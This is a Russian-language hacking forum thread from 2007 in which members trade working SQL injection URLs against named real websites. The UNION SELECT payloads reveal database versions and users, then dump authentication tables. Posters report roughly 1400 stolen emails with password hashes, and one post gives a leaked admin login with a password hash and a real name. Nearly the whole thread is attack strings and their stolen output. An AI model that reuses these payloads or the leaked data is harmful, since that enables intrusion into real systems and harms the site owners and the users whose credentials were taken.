16.03.2007, 23:19
|
|
Постоянный
Регистрация: 21.06.2006
Сообщений: 931
С нами:
10467686
Репутация:
930
|
|
www.casinoratgeber.com
Переходим на казино =)
Код:
http://www.casinoratgeber.com/index.php?bid=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*
|
|
|
16.03.2007, 23:28
|
|
Постоянный
Регистрация: 14.01.2007
Сообщений: 459
С нами:
10169427
Репутация:
589
|
|
Еще скули:
Код:
http://itjob.dp.ua/search.php3?whatlooking=vacancies&searchtype=browse&category=9'
Кол-во полей так и не подобрал(( При 16 ошибок 2 в других случаях 1
http://itjob.dp.ua/product.php3?product=-1 union select 1,2,user(),4,5,6,7/*
http://itjob.dp.ua/product.php3?product=-1 union select 1,2,user(),4,5,6/*
Работает и та и та, ток выводит в разных местах)
Последний раз редактировалось Helios; 16.03.2007 в 23:32..
|
|
|
|
16.03.2007, 23:39
|
|
Постоянный
Регистрация: 21.06.2006
Сообщений: 931
С нами:
10467686
Репутация:
930
|
|
Сообщение от Helios
Еще скули:
Не трогать, она моя ща доделаю =)
Вот, щас колонки пробью.
Код:
http://itjob.dp.ua/product.php3?product=-1+union+select+1,2,3,4,5,6,7+from+auth/*
Код:
http://itjob.dp.ua/product.php3?product=-1+union+select+1,2,name,4,5,6,7+from+auth/*
Пасс чет не идет =(
Последний раз редактировалось Ksander; 16.03.2007 в 23:54..
|
|
|
|
17.03.2007, 14:38
|
|
Участник форума
Регистрация: 13.01.2007
Сообщений: 160
С нами:
10170610
Репутация:
181
|
|
http://www.volgagis.ru/web/editweb.php?id=-1+union+select+1,2,3,4,convert(version()+using+cp1 251),6,7,8,9,10,11,12,13/*
__
Наконец выходные!!!   |
|
|
|
16.03.2007, 23:39
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами:
10309346
Репутация:
4303
|
|
http://www.harsky.ru/index.php?type=6&act=Article&id=-11+union+select+1,CONCAT_WS(char(58),version(),use r(),database()),3,4,5,6,7,8,9,10,11
http://volvo-faq.auto.ru/flame/bookmark/view_group.php?id=-8+union+select+1,2,CONCAT_WS(char(58),version(),us er(),database()),4,5,6,7,8
=\
CONCAT_WS рулит =\
Последний раз редактировалось Spyder; 16.03.2007 в 23:43..
|
|
|
|
17.03.2007, 00:17
|
|
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами:
10483586
Репутация:
5826
|
|
Код:
http://bookashop.ru/book/?book=-1+union+select+1,2,concat(database(),char(58),user(),char(58),version()),4,5,6,7,8,9,10,11,12,13,14/*
|
|
|
|
17.03.2007, 00:19
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами:
10309346
Репутация:
4303
|
|
Grey, проще использовать функцию CONCAT_WS(разделитель,строка1,с рока2,...)
|
|
|
|
17.03.2007, 00:21
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
С нами:
10459106
Репутация:
2996
|
|
чем проще?
|
|
|
|
17.03.2007, 00:22
|
|
Постоянный
Регистрация: 20.01.2007
Сообщений: 787
С нами:
10160966
Репутация:
1719
|
|
Spyder, согласен. Но в случае с выводом всего двух столбцов разницы имхо никакой)
так что:
red-tape.org
Код:
http://www.red-tape.org/initiatives.php?id=-1+union+select+1,concat(email,0x3a,password),3,4,5,6,7,8,9,10,11+from+ld_users+limit+0,1/*
около 1400 юзеров
пассы в md5
email:рass |
|
|
|
17.03.2007, 00:25
|
|
Постоянный
Регистрация: 14.01.2007
Сообщений: 459
С нами:
10169427
Репутация:
589
|
|
Вот, добил itjob.dp.ua:
Код:
http://itjob.dp.ua/product.php3?product=-1 union select 1,2,concat(id,char(58),login,char(58),passw,char(58),name),4,5,6 from auth/*
Вот он, админчег:
Код:
1:admin:ee550a634df47433c1f0caf2ef867c4d:Yuriy S.
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Комбинированный вид
